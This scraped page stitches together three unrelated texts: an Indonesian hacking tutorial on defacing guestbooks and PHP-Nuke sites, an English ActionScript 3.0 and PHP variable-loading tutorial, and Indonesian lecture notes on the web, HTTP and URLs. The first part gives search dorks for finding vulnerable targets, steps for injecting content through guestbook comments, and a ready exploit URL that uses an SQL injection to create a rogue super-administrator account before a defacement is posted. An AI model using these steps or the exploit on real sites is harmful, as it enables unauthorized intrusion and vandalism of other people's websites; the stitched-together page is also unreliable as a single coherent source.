26 Juli 2008

Deface guestbook (buku tamu)

Dengan menggunakan teknik SQL Injection,kita bisa mendeface guestbook
(bukutamu) baik file php,asp,cfm,cgi,html dan kawan2. Ingat2 nggak
semua guestbook bisa dideface.
Langkah2 nya

I. Cari target guestbook di www.google.co.id dgn mengetikkan
site:my guestbook.php atau site:com bukutamu.php

II. Kalo udah dapat target nya, misalnya www.namatarget.my/guestbook.php
maka yg perlu lu lakukan adalah mengisi kolom2 guestbook yg tersedia.
Lu nggak perlu mengisi kolom guestbook nya dgn identitas asli,
cukup identitas palsu aja.

contoh :

Nama : boneka lucu
Email : boneka_2005@yahoo.comWebsite : www.boneka-lucu.com
Asal : toko boneka
Komentar :

Perhatikan baik2 perintah yg ada di kolom komentar,dgn cara
SQL Injection ke guestbook tsb, disitu kita akan memasukkan
sebuah gambar (jgn gambar porno ya ? nggak boleh lho ?
ntar dimarah mama). Trus klik tombol “submi

t” atau tombol apa
namanya yg ada di guestbook tsb. Selanjutnya buka url/browsing baru trus
ketik target tadi www.namatarget.my/guestbook.php
Kalo hasilnya belum ada, coba klik tab “refresh” di samping url/browsing
lu. Nah…muncul deh gambar yg kita masukin tadi di guestbook tsb.
Berarti guestbook tsb bisa dideface.

Catatan :
Kalo nggak ada gambarnya, yg ada hanya tulisan

berarti guestbook tsb nggak bisa dideface. Lu jgn kecewa dong !
cari target yg lain.

III. Kalo udah muncul gambar yg kita masukkan tadi,
buka lagi guesbook tsb. Trus isi lagi kolom2 guestbook yg tersedia.

contoh :

Nama : deface
Email : deface_2005@yahoo.com
Website : www.deface.com
Asal : dunia maya
komentar :

Perhatikan baik2 perintah yg ada di kolom komentar, dgn cara SQL Injection ke guestbook tsb, disitu kita akan memasukkan script utk deface.

Catatan :
Sebelum lu memasukkan script diatas tadi, lu edit dulu kata2 nya sesuai
keinginan lu.

IV. Klik tombol “submit” atau tombol apa namanya yg ada di guestbook tsb.
Selanjutnya buka url/browsing baru trus ketik target tadi www.namatarget.my/guestbook.php
Kalo hasilnya belum ada, coba klik tab “refresh” di samping url/browsing lu.
Nah…muncul deh hasil deface kita di guestbook tsb.

Langkah-Langkah Deface

Deface situs php nuke

Buka situs www.google.com
kemudian ketik =>
allinurl:.com/nuke/index.php atau
allinurl:.org/nuke/index.php.
Nah ….. kalo udah ketemu targetnya maka langkah
selanjutnya adalah :
1. www.target.com/nuke/index.php
2. www.target.com/nuke/admin.php =>
index.php yg diatas tadi dirubah
menjadi admin.php
3. Masukkan bug ini di belakang situs tadi :

?op=AddAuthor&add_aid=budakbaonk&add_name=
God&add_pwd=bajingan&add_email=
sandal_karet@yahoo.com&add_radminsuper=1&admin=
eCcgVU5JT04gU0VMRUNUIDEvKjox

misal : www.target.com/nuke/admin.php?
op=AddAuthor&add_aid=budakbaonk&add_name=
God&add_pwd=bajingan&add_email=
sandal_karet@yahoo.com&add_radminsuper=1&admin=
eCcgVU5JT04gU0VMRUNUIDEvKjox

Kalo nggak mau berarti situs tsb udah di path ama admin nya.
Tapi kalo berhasil, maka di url/browsing lu muncul
www.target.com/nuke/admin.php?op=mod_author

5. Disana lu di suruh login, masukin id & password lu tadi.
Masih ingat kan ?
id=budakbaonk => liat yg diatas tadi
password=bajingan => liat yg diatas tadi

Nah lu skrg udah masuk ke “Administration Menu” situs tsb.
Berarti lu udah mengusai situs tsb skrg ! He he he he he
Skrg lu pilih gambar Handphone (dibawahnya ada tulisan Messages),

Kolom title:

Kolom content :
Kolom expiration => unlimited
trus klik tab add messages yg ada dibawah
Kalo udah, buka url/browsing baru lalu ketikkan situs target tadi,
misal www.target.com/nuke atau www.target.com/nuke/index.php
kalo nggak ada hasil deface lu coba klik tab refresh yg ada
diatas yg disamping url/browsing lu


Using ActionScript 3.0 with PHP Part 1: Loading External Variables

Creating dynamic websites which combine the power of Flash or Flex with PHP is easier than ever with ActionScript 3.0.. Utilizing the networking power of the Flash player we can create next-generation user interfaces which go well beyond static web pages or simple animations and instead act as the front-end for powerful applications. These applications can interface with databases and web services, giving us the ability to add new features, create ‘mash-ups’, or previously unheard-of platforms for user interaction. The sky is the limit! So let’s get started.

Server Requirements

If you are creating web applications which run Flash and PHP obviously your server needs to have PHP installed. If you plan on creating many dynamic sites or applications going forward, you will probably want server space which allows for unlimited databases, has PHP5 and MySQL, and gives you the ability to install programs on the web server. If you are using shared hosting, that is fine, but keep in mind that you will probably want to go with a Virtual Dedicated solution at some point, simply because of the flexibility and responsiveness you receive from having your “own” server. For a virtual dedicated server I personally use GoDaddy, which I wholly recommend, as I now have unlimited domains, unlimited databases, and root access to my server, so I can do a bit of shell scripting now and again. On top of that it is super-responsive which is really important for creating Flash applications which utilize networking. Otherwise if you want to pay less but still want unlimited domains and a fairly responsive system, I would go with Blue Host in North America or 1 and 1 for Europe (or other regions), and a shared hosting plan. I have experience with all three of these companies and the support is certainly top-notch.

Communicating with a Web Server

Let’s discuss three ways in which we might send data back and forth between a web server and Flash. These are by no means the only ways to do so, but they are fairly common, and you will find them to be popular ways to accomplish networking tasks.

Using GET or POST and Variables

If you are used to working with HTML front-ends and PHP (or another scripting language), this will be familiar to you. Using the GET or POST method, you can send and receive data from server-side scripts. In this scenario, we often output our data in some sort of url-encoded string, which contains variable “name and value” pairs. This is the method we will cover in this article.

Using XML

XML is one of the most important languages for communication between application, servers, and services on the Internet. One good reason to work with XML for loading data from a web server is that you will generally not have to know how the data is being processed, you will just have to know something about the particular XML formatting being used, so that you can process the data.

Using Flash Remoting

For more sophisticated integration with a server, you may want to utilize Flash remoting. If you are using Flex, you may work with Flex Data Services. If you would like an open-source solution, you might want to look into AMFPHP. We will not cover Flash remoting in this series.

Loading Variables

The first thing we will do is use GET to load variables from a PHP script. We will create a simple PHP document, called “dataLayer.php”. This page will act as our main communicator between our server and Flash.

File: dataLayer.php


$returnVars = array();
$returnVars['username'] = "John Doe";
$returnVars['email'] = "johndoe@hotmail.com";
$returnString = http_build_query($returnVars);

//send variables back to Flash
echo $returnString;

?>

So here we have our data layer. It consists of two variables: username and email. These variables are encoded using the http_build_query() function to send a properly formatted, compliant variable set from the server. Notice that this function takes an array as a parameter. It then just builds out of string in the format of name / value pairs, like so “varname=value&varname2=value”. It’s very handy.

Next, we will instruct the Flash player to load this data so that we can work with it.

Loading the Variables into Flash

Now let’s write some ActionScript to load our variables into Flash. We will do this in a document class which will be the main point of entry for our Flash movie. (If you are not familiar with the document class, see my tutorial here). Our document class will be called “Main.as” and we will utilize it with an .fla file called “main.fla”.

Complete Main.as code below. You can also download it here: data-loader.zip

package {

import flash.display.MovieClip;
import flash.events.*;
import flash.net.*;
public class Main extends MovieClip {

public function Main() {

// Prepare request

var request:URLRequest = new URLRequest("http://www.yourserver.com/dataLayer.php");
request.method = URLRequestMethod.GET;

var loader:URLLoader = new URLLoader();
loader.dataFormat = URLLoaderDataFormat.VARIABLES;
loader.addEventListener(Event.COMPLETE, completeHandler);
loader.load(request);

function completeHandler(evt:Event) {

var username = evt.target.data.username;
var email = evt.target.data.email;

trace ('username is ' + username);

trace ('email is ' + email);

}

}

}

}

You will want to replace the path (”http://www.yourserver.com/”) with your actual server and directory.

This code is very simple. You will see that we have imported appropriate classes for working with networking, and that our class (being the document class) extends MovieClip.

The first part of our constructor class prepares a request, and it uses the GET method to do so. Here we make an instance of the URLRequest object, passing it the actual web path to our php file.

var request:URLRequest = new URLRequest("http://www.yourserver.com/dataLayer.php");
request.method = URLRequestMethod.GET;

We then make a URLLoader object, specifying its dataFormat property to be “VARIABLES”. This will ensure that we can bring the variables output by PHP into Flash using the same names, and those variables can easily integrate into the scope of our Flash movie.

var loader:URLLoader = new URLLoader();
loader.dataFormat = URLLoaderDataFormat.VARIABLES;

Next we define an event handler, which is key for handling the loading of the variables. We are listening for the “COMPLETE” event, which is an event thrown by the URLLoader object that we just created. Notice that we define a handler, called completeHandler, which will do the work of processing our variables for us. This event handler will take the form of a “nested” function – a new feature in ActionScript 3 which allows us to place functions inside of functions. (I love this). After we define a handler, we then call the load() method of the URLLoader object, passing it the request objet.

loader.addEventListener(Event.COMPLETE, completeHandler);
loader.load(request);

Our completeHandler() function does the work of getting our variables from the COMPLETE event. We created a parameter called “evt”, which is populated by the event object itself when this function is called. We get the variables from PHP using the “evt” object and the following syntax: “evt.target.data.variableName“. This allows us to specify the exact variable we want to access. Lastly, we trace this data to the output window.

function completeHandler(evt:Event) {

var username = evt.target.data.username;
var email = evt.target.data.email;
trace ('username is ' + username);
trace ('email is ' + email);

}

And that’s it! This is a very simple example, but it should get you going with getting data from your PHP scripts into Flash. Obviously there is a lot more to learn about communicating with a server from Flash, but in any case, AS3 makes it simple! In the next tutorial we will talk about sending and receiving data using POST. Good luck!

internet dan web 2




World Wide Web (1)

  • Web

Sistem terdistribusi yang sangat besar yang berisi jutaan klien dan server guna pengaksesan dokumen2 yang saling terhubung

Server :

- Mengelola koleksi dokumen

- Tiap dokumen disimpan sebagai sebuah file

- Dokumen dapat juga dihasilkan berdasarkan permintaan

Klien :

- Menyediakan antarmuka yang mudah digunakan oleh pengguna untuk menampilkan dan mengakses dokumen2

World Wide Web (2)


HTTP

  • Hypertext Transfer Protocol : kumpula n aturan untuk pertukaran file (teks, grafik, gambar, suara, video, dll) pada web
  • Konsep penting

Ide di mana suatu file bisa mengandung referensi pada file lainnya dengan transfer permintaan ke file tersebut


URL

  • Alamat sebuah file (resources) yang dapat diakses melalui internet

  • Jenis resource yang diambil tergantung protokol aplikasi internet yang berlangsung, misal HTTP, File, News.

Contoh

file://ftp.serverku.co.id/umum/files/webprog.doc

news://news.serverku.co.id/soc.culture.indonesia

URL (2)

  • Berisi

nama protokol, dibutuhkan untuk mengakses resources

Nama domain, komputer tertentu yang terhubung dengan internet, tempat resource berada

Hirarki lokasi penyimpanan resources pada komputer tersebut


URL (3)

  • URL berisi nama domain yang mengidentifikasikan suatu komputer yang spesifik di Internet dan sebuah deskripsi hierarkis dari suatu lokasi file pada komputer yang bersangkutan

  • Nama Domain Dikelola oleh InterNIC

URL (4)



Domain Name System